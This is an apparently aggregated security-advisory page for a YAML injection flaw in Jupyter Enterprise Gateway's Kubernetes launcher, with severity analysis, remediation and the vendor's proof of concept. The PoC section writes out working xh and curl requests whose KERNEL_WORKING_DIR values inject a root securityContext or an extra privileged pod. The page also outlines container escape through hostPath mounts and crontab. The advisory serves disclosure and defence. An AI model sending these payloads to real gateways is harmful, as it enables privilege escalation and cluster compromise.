Jupyter Enterprise Gateway CVE-2026-44182
CRITICALAttack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconReach Enterprise Gateway /api/kernels
-
DeliveryPOST crafted KERNEL_WORKING_DIR env payload
-
ExploitYAML injection in pod manifest render
-
InstallKubernetes creates root/privileged pod
-
C2hostPath mount plus crontab write
-
ExecuteExecute code on worker node
-
ImpactCompromise cluster
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Input neutralization, injection prevention
|
| Exploitation Conditions | Exploitation requires network access to the Enterprise Gateway kernel-management API (/api/kernels) and the ability to supply KERNEL_* environment variables in the kernel-launch request, against a deployment that launches kernels into Kubernetes. The published KERNEL_WORKING_DIR PoC specifically requires EG_MIRROR_WORKING_DIRS to be truthy (Helm mirrorWorkingDirs enabled); however the description states any KERNEL_* variable rendered into the template is an equally valid injection vector, so this is not a hard prerequisite. Container escape to the host additionally requires the cluster to permit privileged pods and/or hostPath mounts and, for the runAsGroup path, the RunAsGroup feature-gate. Limiting factors: if the gateway enforces authentication on its API or is network-isolated to trusted clients, unauthenticated exploitation is prevented; Pod Security Admission or admission controllers blocking privileged/hostPath pods would neutralize the escalation even if injection succeeds. The CVSS vector lists PR:N, so no authentication is credited, but real deployments commonly gate the API - verify auth posture before assuming unauthenticated reach. |
| Impact | The provided CVSS 4.0 vector rates this 10.0 (AV:N/AC:L/PR:N/UI:N with High confidentiality/integrity/availability impact on both vulnerable and subsequent systems), reflecting that a network attacker can pivot from a single Jupyter kernel API call to full cluster takeover. That severity is justified by the demonstrated impact (privileged pods, hostPath mounts, container escape). However, signals conflict on real-world urgency: EPSS is only 0.06% (20th percentile) and the CVE is NOT in CISA KEV, indicating no observed mass exploitation despite a working public PoC - consistent with a product that is powerful but not ubiquitously deployed. Two exploitation caveats temper the PR:N rating: the primary PoC vector (KERNEL_WORKING_DIR) only works when EG_MIRROR_WORKING_DIRS / mirrorWorkingDirs is enabled, and reaching /api/kernels unauthenticated assumes the gateway is deployed without an auth token - many production deployments front it with authentication. The description states other KERNEL_* variables are equally viable injection vectors, so the config dependency is not a reliable mitigation. Net: a genuine high-priority issue for anyone running Enterprise Gateway on Kubernetes, but the low EPSS suggests targeted rather than opportunistic risk. |
| Exploit ScenarioDerived | An attacker with network reach to the Enterprise Gateway REST API POSTs to /api/kernels with a crafted env payload where KERNEL_WORKING_DIR contains embedded quotes and newlines that inject a pod-level securityContext (runAsUser: 0) or a full second Pod document via YAML separators. The gateway renders the poisoned manifest and Kubernetes creates a root or privileged pod; a working PoC using xh/curl is published in the advisory. From the privileged/root pod the attacker mounts a hostPath R/W volume and writes a crontab entry to gain code execution on the worker node, then repeats across nodes to compromise the cluster. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv2 – Jul 16, 2026
Privilege escalation and arbitrary Kubernetes resource creation in Jupyter Enterprise Gateway allows attackers to inject YAML into kernel pod manifests via untrusted KERNEL_* environment variables submitted to the /api/kernels endpoint. Because these values are interpolated into a Jinja2 pod template without YAML-aware escaping, an attacker can clobber the pod securityContext to run kernels as root or use multi-document YAML boundaries (--- / ...) to spin up additional privileged pods, ultimately enabling container escape and full cluster compromise. Publicly available exploit code exists (detailed PoC in the vendor advisory), though EPSS is low (0.06%) and it is not listed in CISA KEV.
Earlier versions of this analysis (1)
YAML injection in Jupyter Enterprise Gateway prior to 3.3.0 allows attackers controlling KERNEL_* environment variables submitted via the /api/kernels endpoint to manipulate Kubernetes manifest rendering, escalating to privileged pod creation and full cluster compromise. The Jinja2 template at kernel-pod.yaml.j2 interpolates untrusted values without YAML-aware escaping, allowing both key overwrites (e.g., securityContext) and multi-document YAML injection to spawn arbitrary Pods, Secrets, PVCs, PVs, Services, and ConfigMaps. A detailed proof-of-concept is published in the GHSA advisory, though no CISA KEV listing or in-the-wild exploitation has been confirmed at time of analysis.
RemediationAI
Vendor-released patch: upgrade Jupyter Enterprise Gateway to version 3.3.0 or later, which is the primary and recommended fix (https://github.com/jupyter-server/enterprise_gateway/releases/tag/v3.3.0, advisory GHSA-cfw7-6c5v-2wjq). If immediate upgrade is not possible, disable working-directory mirroring by setting mirrorWorkingDirs to false / leaving EG_MIRROR_WORKING_DIRS unset to remove the KERNEL_WORKING_DIR vector - but note this does not close other KERNEL_* injection vectors and only reduces, not eliminates, exposure. Additionally require authentication on the gateway (enable and enforce an auth token on /api/kernels) and restrict network access to the Enterprise Gateway API to trusted notebook clients only, since this blocks unauthenticated submission of malicious env vars at the cost of requiring client credential configuration. As a Kubernetes-layer backstop, apply Pod Security Admission (restricted profile) or an admission controller (OPA/Gatekeeper, Kyverno) in the kernel namespace to reject privileged pods, root securityContext, and hostPath mounts - this limits the blast radius of a successful injection but will also reject legitimately-privileged workloads in that namespace.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The affected component is the Kubernetes kernel launcher in Jupyter Enterprise Gateway (pkg:pip/jupyter_enterprise_gateway), specifically etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2 rendered by launch_kubernetes.py. Client-supplied KERNEL_XXX environment variables (e.g. KERNEL_WORKING_DIR) are lowercased to kernel_xxx and substituted directly into a Jinja2-templated pod manifest. Because the substitution is string-level rather than YAML-serialization-aware, embedded quotes, newlines, and indentation in the input become structural YAML rather than data - the classic CWE-74 injection class (improper neutralization of special elements). YAML's last-key-wins semantics let an injected securityContext override the intended one, and document separators let a single field expand into multiple Kubernetes objects.
Know when Kubernetes gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Network-reachable kernel API with no credited auth (PR:N) and low-complexity YAML injection; scope changes (S:C) as injection creates arbitrary cluster resources enabling full host/cluster compromise across all impacts.
Primary rating from Vendor (https://github.com/jupyter-server/enterprise_gateway).
CVSS VectorVendor: https://github.com/jupyter-server/enterprise_gateway
Lifecycle Timeline
2DescriptionCVE.org
Summary
The environment variables used during the rendering of the Kubernetes manifest allow YAML injection, enabling attackers to overwrite existing keys like securityContext and inject multi-document YAML to create additional unintended Kubernetes resources.
Details
The server interpolates untrusted environment variables (e.g., KERNEL_XXX) into Kubernetes manifests without YAML-aware escaping, enabling YAML injection attacks. Attackers can inject new fields, overwrite critical fields (e.g., duplicate securityContext keys, where the last one prevails), and inject document boundaries (--- for new documents, ... for end-of-document) to generate multiple resources, potentially creating arbitrary kinds like privileged pods.
The Jinja2 template for the Kubernetes manifest contains several kernel_xxx variables, such as kernel_working_dir that are used when rendering the manifest and are all vectors for YAML injection. https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L77
These values come from the environment passed in the API call, where they were KERNEL_XXX before being converted to lowercase.
https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/launch_kubernetes.py#L130-L137
PoC
These proof of concepts are injecting in the KERNEL_WORKING_DIR env var, but any of the env vars could have been used. By default, the KERNEL_WORKING_DIR will be ignored unless EG_MIRROR_WORKING_DIRS is truthy for the enterprise-gateway. This is controlled by the mirrorWorkingDirs value in the Helm chart.
Using ducaale/xh:
xh http://localhost:31529/api/kernels env:=@env-working-dir-exploit.yamlenv-working-dir-exploit.yaml:
{
"KERNEL_POD_NAME": "working-dir-root",
"KERNEL_NAMESPACE": "notebooks",
"KERNEL_WORKING_DIR": "\"/tmp\\\"\\n\\n
# INJECTION\\n securityContext:\\n runAsUser: 0\\n runAsGroup: 0\\n fsGroup: 100\\n
# HAHA - stray quote \""
}
Resulting request:
POST /api/kernels HTTP/1.1
Accept: application/json, */*;q=0.5
Accept-Encoding: gzip, deflate, br, zstd
Connection: keep-alive
Content-Length: 233
Content-Type: application/json
Host: localhost:31529
User-Agent: xh/0.24.0
{
"env": {
"KERNEL_POD_NAME": "working-dir-root",
"KERNEL_NAMESPACE": "notebooks",
"KERNEL_WORKING_DIR": "\"/tmp\\\"\\n\\n
# INJECTION\\n securityContext:\\n runAsUser: 0\\n runAsGroup: 0\\n fsGroup: 100\\n
# HAHA - stray quote \""
}
}Curl equivalent command:
curl http://localhost:31529/api/kernels -H 'content-type: application/json' -H 'accept: application/json, */*;q=0.5' -d '{"env":{"KERNEL_POD_NAME":"working-dir-root","KERNEL_NAMESPACE":"notebooks","KERNEL_WORKING_DIR":"\"/tmp\\\"\\n\\n
# INJECTION\\n securityContext:\\n runAsUser: 0\\n runAsGroup: 0\\n fsGroup: 100\\n
# HAHA - stray quote \""}}'The rendered Jinja2 template:
# This file defines the Kubernetes objects necessary for kernels to run witihin Kubernetes.
# Substitution parameters are processed by the launch_kubernetes.py code located in the
# same directory. Some values are factory values, while others (typically prefixed with 'kernel_') can be
# provided by the client.
#
# This file can be customized as needed. No changes are required to launch_kubernetes.py provided kernel_
# values are used - which be automatically set from corresponding KERNEL_ env values. Updates will be required
# to launch_kubernetes.py if new document sections (i.e., new k8s 'kind' objects) are introduced.
#
apiVersion: v1
kind: Pod
metadata:
name: "working-dir-root"
namespace: "notebooks"
labels:
kernel_id: "186f4ecf-bf90-40b8-b210-a0987bfce927"
app: enterprise-gateway
component: kernel
source: kernel-pod.yaml
annotations:
cluster-autoscaler.kubernetes.io/safe-to-evict: "false"
spec:
restartPolicy: Never
serviceAccountName: "default"
# NOTE: that using runAsGroup requires that feature-gate RunAsGroup be enabled.
# WARNING: Only using runAsUser w/o runAsGroup or NOT enabling the RunAsGroup feature-gate
# will result in the new kernel pod's effective group of 0 (root)! although the user will
# correspond to the runAsUser value. As a result, BOTH should be uncommented AND the feature-gate
# should be enabled to ensure expected behavior. In addition, 'fsGroup: 100' is recommended so
# that /home/jovyan can be written to via the 'users' group (gid: 100) irrespective of the
# "kernel_uid" and "kernel_gid" values.
securityContext:
runAsUser: 1000
runAsGroup: 100
fsGroup: 100
containers:
- image: "elyra/kernel-py:3.2.3"
name: "working-dir-root"
env:
# Add any custom envs here that aren't already configured for the kernel's environment
# - name: MY_CUSTOM_ENV
# value: "my_custom_value"
workingDir: "/tmp"
# INJECTION
securityContext:
runAsUser: 0
runAsGroup: 0
fsGroup: 100
# HAHA - stray quote "
volumeMounts:
# Define any "unconditional" mounts here, followed by "conditional" mounts that vary per client
volumes:
# Define any "unconditional" volumes here, followed by "conditional" volumes that vary per clientNormally the container would run as uid=1000(jovyan) gid=100(users) groups=100(users). This injects a pod securityContext with runAsUser: 0 and runAsGroup: 0 (and fsGroup: 100). The processing of the YAML results in the duplicate key clobbering the original. Making the container run as uid=0(root) gid=0(root) groups=0(root),100(users).
In addition to injecting a pod level securityContext it is also possible to inject a container level securityContext which supports the privileged field.
Injecting a Pod
By injecting ... and --- it is possible to use multi-document YAML to inject Kubernetes resources.
xh http://localhost:31529/api/kernels env:=@env-working-dir-exploit-pod.yamlenv-working-dir-exploit-pod.yaml:
{
"KERNEL_POD_NAME": "working-dir-root-pod",
"KERNEL_NAMESPACE": "notebooks",
"KERNEL_WORKING_DIR": "\"/tmp\\\"\\n\\n
# INJECTION\\n...\\n---\\napiVersion: v1\\nkind: Pod\\nmetadata:\\n name: injected-pod\\n\\\n spec:\\n containers:\\n - name: injected-container\\n image: nginx\\n ports:\\n - containerPort: 80\\n securityContext:\\n privileged: true\\n runAsUser: 0\\n runAsGroup: 0\\n...\\n
# HAHA - stray quote\""
}This is rendered as (skipping the beginning of the rendering before the inject):
workingDir: "/tmp"
# INJECTION
...
---
apiVersion: v1
kind: Pod
metadata:
name: injected-pod
spec:
containers:
- name: injected-container
image: nginx
ports:
- containerPort: 80
securityContext:
privileged: true
runAsUser: 0
runAsGroup: 0
...
# HAHA - stray quote"
volumeMounts:
# Define any "unconditional" mounts here, followed by "conditional" mounts that vary per client
volumes:
# Define any "unconditional" volumes here, followed by "conditional" volumes that vary per clientkubectl get pods -n notebooks
NAME READY STATUS RESTARTS AGE
injected-pod 1/1 Running 0 4s
working-dir-root-pod 1/1 Running 0 4sThe injected-pod has been created in addition to the working-dir-root-pod.
kubectl get pod/injected-pod -o yaml -n notebooks -o jsonpath='{.spec.containers[*].securityContext}':
{
"privileged": true,
"runAsGroup": 0,
"runAsUser": 0
}Impact
An attacker can create pods running with arbitrary, image, securityContext, and volumeMounts including hostPath mounts. Privileged pods can be created.
Arbitrary Kubernetes resources of kinds: Pod, Secret, PersistentVolumeClaim, PersistentVolume, Service, and ConfigMap can be created.
Repeated exploitation can compromise all worker nodes, and thus the entire Kubernetes cluster. Multiple container escape vectors exist. It is possible to create privileged pods which could load kernel modules to compromise the host. It is also possible to specify volume mounts, so another vector for a container escape is to use a hostPath R/W volume mount, use the injected securityContext to run as root, and then gain code execution in the underlying worker node by creating a crontab entry in the mounted host file system.
Executive ViewAI
Jupyter Enterprise Gateway contains a critical privilege escalation vulnerability (CVSS 10.0) enabling attackers to escalate privileges and create arbitrary Kubernetes resources, potentially compromising entire Kubernetes clusters. Organizations running Jupyter Enterprise Gateway in Kubernetes environments face complete cluster compromise if unpatched, affecting all containerized workloads and data hosted within.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Affected Products (CPE)CVE.org
More in Kubernetes
View allA critical vulnerability in Kubernetes ingress-nginx controller allows unauthenticated attackers with pod network access
Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio
Kubernetes ingress-nginx contains a configuration injection vulnerability via the mirror-target and mirror-host Ingress
A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-url` Ingres
A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-tls-match-c
Kubernetes API server in all versions allow an attacker who is able to create a ClusterIP service and set the spec.exter
A security issue was discovered in Kubernetes where a user that can create pods on Windows nodes may be able to escalate
Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Rated critical severity (CVSS 9.9), this vulne
Unauthenticated remote attackers can trigger complete database overwrites, server-side file reads, and SSRF attacks agai
The Kubernetes integration in GitLab Enterprise Edition 11.x before 11.2.8, 11.3.x before 11.3.9, and 11.4.x before 11.4
Fluentd configuration injection in the kube-logging Logging operator before 6.6.0 allows a namespace-scoped user who can
Authenticated Typebot users can abuse the webhook block (HTTP Request component) in versions prior to 3.13.1 to issue ar
GHSA-cfw7-6c5v-2wjq
NVD
CVE.org
EPSS
VulDB
Exploit-DB